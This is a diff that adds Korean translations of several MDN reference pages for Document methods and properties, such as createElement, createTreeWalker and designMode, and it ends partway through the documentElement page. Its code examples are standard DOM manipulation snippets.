+<p>HTML 문서에서, <strong><code>Document.createElement()</code></strong> 메서드는 지정한 <code>tagName</code>의 HTML 요소를 만들어 반환합니다. <code>tagName</code>을 인식할 수 없으면 {{domxref("HTMLUnknownElement")}}를 대신 반환합니다.</p>
+
+<h2 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">구문</h2>
+
+<pre class="eval"><var>let element</var> = <var>document</var>.createElement(<var>tagName[, options]</var>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>tagName</code></dt>
+ <dd>생성할 요소의 유형을 가리키는 문자열.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd><code>is</code> 속성 하나를 가진 <code>ElementCreationOptions</code> 객체. 속성의 값은 <code>customElements.define()</code>을 사용해 정의한 사용자 정의 요소입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{domxref("Element")}}.</p>
+
+<h2 id="예제" name="예제">예제</h2>
+
+<p>아래 예제는 새로운 <code>&lt;div&gt;</code> 엘리먼트를 생성한 후, ID가 "div1" 인 요소 이전에 추가합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html"><code>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;||Working with elements||&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;div id="div1"&gt;위의 텍스트는 동적으로 추가했습니다.&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js"><code>document.body.onload = addElement;
+
+function addElement () {
+  // create a new div element
+  var newDiv = document.createElement("div");
+  // and give it some content
+  var newContent = document.createTextNode("환영합니다!");
+  // add the text node to the newly created div
+  newDiv.appendChild(newContent);
+
+  // add the newly created element and its content into the DOM
+  var currentDiv = document.getElementById("div1");
+  document.body.insertBefore(newDiv, currentDiv);
+}</code></pre>
+
+<p>{{EmbedLiveSample("예제", 500, 50)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.createElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+ <li>{{domxref("document.createElementNS()")}} — to explicitly specify the namespace URI for the element.</li>
+</ul>
diff --git a/files/ko/web/api/document/createelementns/index.html b/files/ko/web/api/document/createelementns/index.html
new file mode 100644
index 0000000000..6fee5b6d80
--- /dev/null
+++ b/files/ko/web/api/document/createelementns/index.html
@@ -0,0 +1,173 @@
+---
+title: Document.createElementNS()
+slug: Web/API/Document/createElementNS
+translation_of: Web/API/Document/createElementNS
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>지정된 네임스페이스 URI와 적합한 이름으로 엘리먼트를 만든다.</p>
+
+<p>네임스페이스 URI를 지정하지 않고 엘리먼트를 만들려면 <a href="createElement" title="createElement">createElement</a>메소드를 사용하라.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="brush: js"><var>var element</var> = <var>document</var>.createElementNS(<var>namespaceURI</var>, <var>qualifiedName</var>[, options]);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>namespaceURI</code></dt>
+ <dd>A string that specifies the <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/glossary.html#dt-namespaceURI">namespace URI</a> to associate with the element. The <a href="/en-US/docs/DOM/element.namespaceURI">namespaceURI</a> property of the created element is initialized with the value of <code>namespaceURI</code>. See <a href="#Valid Namespace URIs">Valid Namespace URIs</a>.</dd>
+ <dt><code>qualifiedName</code></dt>
+ <dd>A string that specifies the type of element to be created. The <a href="/en-US/docs/DOM/element.nodeName">nodeName</a> property of the created element is initialized with the value of <code>qualifiedName</code>.</dd>
+ <dt><code>options</code><span class="inlineIndicator optional optionalInline">Optional</span></dt>
+ <dd>An optional <code>ElementCreationOptions</code> object containing a single property named <code>is</code>, whose value is the tag name for a custom element previously defined using <code>customElements.define()</code>. For backwards compatibility with previous versions of the <a class="external external-icon" href="https://www.w3.org/TR/custom-elements/">Custom Elements specification</a>, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. See <a class="external external-icon" href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">Extending native HTML elements</a> for more information on how to use this parameter.</dd>
+ <dd>The new element will be given an <code>is</code> attribute whose value is the custom element's tag name. Custom elements are an experimental feature only available in some browsers.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>The new <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element" title="The Element interface represents an object of a Document. This interface describes methods and properties common to all kinds of elements. Specific behaviors are described in interfaces which inherit from Element but add additional functionality."><code>Element</code></a>.</p>
+
+<h2 id="Example" name="Example"><a id="Valid Namespace URIs" name="Valid Namespace URIs">Valid Namespace URIs</a></h2>
+
+<ul>
+ <li>HTML - Use <code>http://www.w3.org/1999/xhtml</code></li>
+ <li>SVG - Use <code>http://www.w3.org/2000/svg</code></li>
+ <li>XBL - Use <code>http://www.mozilla.org/xbl</code></li>
+ <li>XUL - Use <code>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>This creates a new &lt;div&gt; element in the <a href="/en-US/docs/XHTML" title="XHTML">XHTML</a> namespace and appends it to the vbox element. Although this is not an extremely useful <a href="/en-US/docs/XUL" title="XUL">XUL</a> document, it does demonstrate the use of elements from two different namespaces within a single document:</p>
+
+<pre class="brush:xml">&lt;?xml version="1.0"?&gt;
+&lt;page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+      xmlns:html="http://www.w3.org/1999/xhtml"
+      title="||Working with elements||"
+      onload="init()"&gt;
+
+&lt;script type="text/javascript"&gt;&lt;![CDATA[
+ var container;
+ var newdiv;
+ var txtnode;
+
+ function init(){
+   container = document.getElementById("ContainerBox");
+   newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div");
+   txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild.");
+   newdiv.appendChild(txtnode);
+   container.appendChild(newdiv);
+ }
+
+]]&gt;&lt;/script&gt;
+
+ &lt;vbox id='ContainerBox' flex='1'&gt;
+  &lt;html:div&gt;
+   The script on this page will add dynamic content below:
+  &lt;/html:div&gt;
+ &lt;/vbox&gt;
+
+&lt;/page&gt;
+</pre>
+
+<div class="note">
+<p>The example given above uses inline script which is not recommended in XHTML documents. This particular example is actually an XUL document with embedded XHTML, however, the recommendation still applies.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>options</code> argument</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(50)}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In previous versions of the specification, this argument was just a string whose value was the custom element's tag name. For the sake of backwards compatibility, Chrome accepts both forms.</p>
+
+<p>[2] See [1] above: like Chrome, Firefox accepts a string instead of an object here, but only from version 51 onwards. In version 50,  <code>options</code> must be an object.</p>
+
+<p>[3] To experiment with custom elements in Firefox, you must set the <code>dom.webcomponents.enabled</code> and <code>dom.webcomponents.customelements.enabled</code> preferences to <code>true</code>.</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="createElement">document.createElement</a></li>
+ <li><a href="createTextNode">document.createTextNode</a></li>
+ <li><a href="../Node/namespaceURI">Node.namespaceURI</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/1999/REC-xml-names-19990114">Namespaces in XML</a></li>
+</ul>
diff --git a/files/ko/web/api/document/createrange/index.html b/files/ko/web/api/document/createrange/index.html
new file mode 100644
index 0000000000..655add378f
--- /dev/null
+++ b/files/ko/web/api/document/createrange/index.html
@@ -0,0 +1,33 @@
+---
+title: Document.createRange()
+slug: Web/API/Document/createRange
+translation_of: Web/API/Document/createRange
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>새 {{domxref("Range")}} 객체를 리턴합니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">range = document.createRange();
+</pre>
+
+<p><code>range</code> 는 생성된 {{domxref("Range")}} 객체입니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+</pre>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<p>Range 객체의 대부분의 메소드들은 Range 객체가 생성 된 후, 바운더리 포인트를 지정해야 사용할 수 있습니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></li>
+</ul>
diff --git a/files/ko/web/api/document/createtextnode/index.html b/files/ko/web/api/document/createtextnode/index.html
new file mode 100644
index 0000000000..2da7134fbb
--- /dev/null
+++ b/files/ko/web/api/document/createtextnode/index.html
@@ -0,0 +1,60 @@
+---
+title: Document.createTextNode()
+slug: Web/API/Document/createTextNode
+tags:
+  - DOM
+  - Gecko
+translation_of: Web/API/Document/createTextNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+
+<p>텍스트 노드를 생성합니다.</p>
+
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+
+<pre class="eval"><em>텍스트</em> = document.createTextNode(<em>데이터</em>);
+</pre>
+
+<h3 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98">매개변수</h3>
+
+<ul>
+ <li><code>텍스트</code> 생성된 텍스트 노드입니다.</li>
+ <li><code>데이터</code> 텍스트 노드에 쓰여지는 문자열입니다.</li>
+</ul>
+
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;createTextNode 예제&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function addTextNode()
+{
+var newtext = document.createTextNode(" 동적으로 추가되는 텍스트. ");
+var para = document.getElementById("p1");
+para.appendChild(newtext);
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;div style="border: 1px solid red"&gt;
+&lt;p id="p1"&gt;단락의 첫번째 줄.&lt;br /&gt;&lt;/p&gt;
+&lt;/div&gt;&lt;br /&gt;
+
+&lt;button onclick="addTextNode();"&gt;TextNode 추가하기.&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id=".EA.B7.9C.EC.95.BD" name=".EA.B7.9C.EC.95.BD">규약</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1975348127">createTextNode </a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.createTextNode", "fr": "fr/DOM/document.createTextNode", "pl": "pl/DOM/document.createTextNode" } ) }}</p>
diff --git a/files/ko/web/api/document/createtreewalker/index.html b/files/ko/web/api/document/createtreewalker/index.html
new file mode 100644
index 0000000000..3becf1e6f4
--- /dev/null
+++ b/files/ko/web/api/document/createtreewalker/index.html
@@ -0,0 +1,160 @@
+---
+title: Document.createTreeWalker()
+slug: Web/API/Document/createTreeWalker
+tags:
+  - API
+  - DOM
+  - Document
+  - Method
+  - Reference
+translation_of: Web/API/Document/createTreeWalker
+---
+<div>{{ApiRef("Document")}}</div>
+
+<p><strong><code>Document.createTreeWalker()</code></strong> 메소드는 새로운 {{domxref("TreeWalker")}} 객체를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>document</em>.createTreeWalker(<em>root</em>, <em>whatToShow</em>[, <em>filter</em>[, <em>entityReferenceExpansion</em>]]);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>root </em></code></dt>
+ <dd>이 {{domxref("TreeWalker")}} 순회의 루트 {{domxref("Node")}}이다. 이것은 보통 이 문서 소유의 한 엘리먼트이다.</dd>
+ <dt><code>whatToShow </code>{{optional_inline}}</dt>
+ <dd><code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>의 상수 프라퍼티들을 조합하여 만든 비트마스크를 나타내는 선택적인 <code>unsigned long</code> 이다. 이것은 특정 유형의 노드를 필터링하는 편리한 방법이다. 기본값은 <code>SHOW_ALL</code> 상수를 나타내는 <code>0xFFFFFFFF</code>이다.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">상수</td>
+    <td class="header">숫자 값</td>
+    <td class="header">설명</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ALL</code></td>
+    <td><code>-1</code> (<code>unsigned long의 최대 값</code>)</td>
+    <td>Shows all nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+    <td><code>2</code></td>
+    <td>Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+    <td><code>8</code></td>
+    <td>Shows {{domxref("CDATASection")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_COMMENT</code></td>
+    <td><code>128</code></td>
+    <td>Shows {{domxref("Comment")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+    <td><code>256</code></td>
+    <td>Shows {{domxref("Document")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+    <td><code>1024</code></td>
+    <td>Shows {{domxref("DocumentFragment")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+    <td><code>512</code></td>
+    <td>Shows {{domxref("DocumentType")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+    <td><code>1</code></td>
+    <td>Shows {{domxref("Element")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+    <td><code>32</code></td>
+    <td>Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+    <td><code>16</code></td>
+    <td>Shows {{domxref("EntityReference")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+    <td><code>2048</code></td>
+    <td>Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+    <td><code>64</code></td>
+    <td>Shows {{domxref("ProcessingInstruction")}} nodes.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_TEXT</code></td>
+    <td><code>4</code></td>
+    <td>Shows {{domxref("Text")}} nodes.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>filter</code> {{optional_inline}}</dt>
+ <dd>선택적인 {{domxref("NodeFilter")}}이다. {{domxref("TreeWalker")}}가 <code>whatToShow</code> 체크를 통과한 노드의 승인여부를 판단하기 위해 호출하는 <code>acceptNode</code> 메소드를 가진 객체이다.</dd>
+ <dt><code>entityReferenceExpansion</code> {{optional_inline}} {{obsolete_inline}}</dt>
+ <dd>한 {{domxref("EntityReference")}}를 버릴 때 그 전체 하위 트리를 같이 버려야하는지를 나타내는 {{domxref("Boolean")}} 플래그이다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{domxref("TreeWalker")}} 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 body의 모든 노드들을 순회하고, 노드의 집합을 엘리먼트로 줄이고, 단순히 각 노드를 승인하고 (대신 <code>acceptNode()</code> 메소드에서 그 집합을 줄일 수도 있다), 노드들(지금은 모두 엘리먼트지만)을 전진하기 위해 생성된 트리 워커 반복자를 이용하여 배열에 푸시한다.</p>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the <code>expandEntityReferences</code> parameter. Made the <code>whatToShow</code> and <code>filter</code> parameters optionals.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.createTreeWalker")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>생성하는 객체의 인터페이스: {{domxref("TreeWalker")}}.</li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/ie/ff975302(v=vs.85).aspx">createTreeWalker on MSDN</a></li>
+</ul>
diff --git a/files/ko/web/api/document/defaultview/index.html b/files/ko/web/api/document/defaultview/index.html
new file mode 100644
index 0000000000..de6d2c5e25
--- /dev/null
+++ b/files/ko/web/api/document/defaultview/index.html
@@ -0,0 +1,46 @@
+---
+title: Document.defaultView
+slug: Web/API/Document/defaultView
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/Document/defaultView
+---
+<div>{{ApiRef}}</div>
+
+<p>브라우저의 <strong><code>document.defaultView</code></strong>는 {{glossary("browsing context", "문서")}}와 연결된 {{domxref("Window", "window")}} 객체를 반환합니다. 가능하지 않은 경우 {{jsxref("null")}}을 대신 반환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.defaultView")}}</p>
+</div>
diff --git a/files/ko/web/api/document/designmode/index.html b/files/ko/web/api/document/designmode/index.html
new file mode 100644
index 0000000000..179f9dedee
--- /dev/null
+++ b/files/ko/web/api/document/designmode/index.html
@@ -0,0 +1,50 @@
+---
+title: Document.designMode
+slug: Web/API/Document/designMode
+translation_of: Web/API/Document/designMode
+---
+<div>{{ ApiRef() }}</div>
+
+<p><code>document.designMode</code>는 전체 document의 편집 가능 여부를 제어합니다. 유효한 값은 <code>"on"</code> 과 <code>"off"</code> 입니다. 명세에 따르면, 이 속성은 기본적으로 <code>"off"</code>로 설정되어 있습니다. Firefox는 이 표준 명세를 따릅니다. Chrome과 IE의 초기 버전들에서는 <code>"inherit"</code> 로 설정되어 있습니다. IE6-10 브라우저에서는, 값이 대문자로 표기됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var mode = document.designMode;
+document.designMode = "on";
+document.designMode = "off";</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>{{HTMLElement("iframe")}}의 document를 편집 가능하게 설정합니다.</p>
+
+<pre>iframeNode.contentDocument.designMode = "on";
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" style="font-size: 2.14285714285714rem;">Browser compatibility</h2>
+
+<p>{{Compat("api.Document.designMode")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms533720(v=vs.85).aspx">designMode property</a> on MSDN</li>
+</ul>
diff --git a/files/ko/web/api/document/doctype/index.html b/files/ko/web/api/document/doctype/index.html
new file mode 100644
index 0000000000..228c3b595d
--- /dev/null
+++ b/files/ko/web/api/document/doctype/index.html
@@ -0,0 +1,58 @@
+---
+title: Document.doctype
+slug: Web/API/Document/doctype
+translation_of: Web/API/Document/doctype
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>현재 document와 연관된 DTD(Document Type Declaration)를 반환합니다. 반환된 object는  {{domxref("DocumentType")}} 인터페이스를 구현합니다. <code>DocumentType을 작성하려면 </code>{{domxref("DOMImplementation.createDocumentType()")}}를 사용합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype;
+</pre>
+
+<ul>
+ <li>doctype은 읽기만 가능한 property입니다.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js">var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>현재 document와 연관된 DTD가 없으면, 이 property는 null을 반환합니다.</p>
+
+<p>DOM level 2는 document type 선언 편집을 지원하지 않습니다. (read-only)</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>{{HTMLElement("html")}} element가 없는 HTML documents문서에 대한 리턴 값이 변경되었습니다. document type을 변경할 수 있도록 정의합니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>초기 선언.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/document/document/index.html b/files/ko/web/api/document/document/index.html
new file mode 100644
index 0000000000..6706d05e0e
--- /dev/null
+++ b/files/ko/web/api/document/document/index.html
@@ -0,0 +1,43 @@
+---
+title: Document()
+slug: Web/API/Document/Document
+tags:
+  - API
+  - Constructor
+  - DOM
+  - Document
+  - Reference
+translation_of: Web/API/Document/Document
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Document</code></strong> 생성자는 브라우저에 로드되고 페이지 컨텐츠로의 진입점으로써 제공되는 웹 페이지인 새로운 {{domxref("Document")}} 객체를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Document()</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-document-document','Document')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("api.Document.Document")}}</div>
diff --git a/files/ko/web/api/document/documentelement/index.html b/files/ko/web/api/document/documentelement/index.html
new file mode 100644
index 0000000000..429fce87c4
--- /dev/null
+++ b/files/ko/web/api/document/documentelement/index.html
@@ -0,0 +1,60 @@
+---
+title: Document.documentElement
+slug: Web/API/Document/documentElement
+tags:
+  - API
+  - DOM
+  - Document
+  - Property
+  - Reference
+  - ㅈ
+translation_of: Web/API/Document/documentElement
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><code><strong>Document.documentElement</strong></code> 읽기 전용 속성은 <a href="/ko/docs/Web/API/Document">문서</a>의 루트 요소를 나타내는 {{domxref("Element")}}를 반환합니다. HTML 문서를 예로 들면 {{htmlelement("html")}} 요소를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>element</em> = document.documentElement
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">const rootElement = document.documentElement;
+const firstTier = rootElement.childNodes;
+// firstTier is a NodeList of the direct children of the root element
+// such as &lt;head&gt; and &lt;body&gt;
+
+for (const child of firstTier) {
+   // do something with each direct child of the root element
+}</pre>
+
+<h2 id="참고">참고</h2>
+
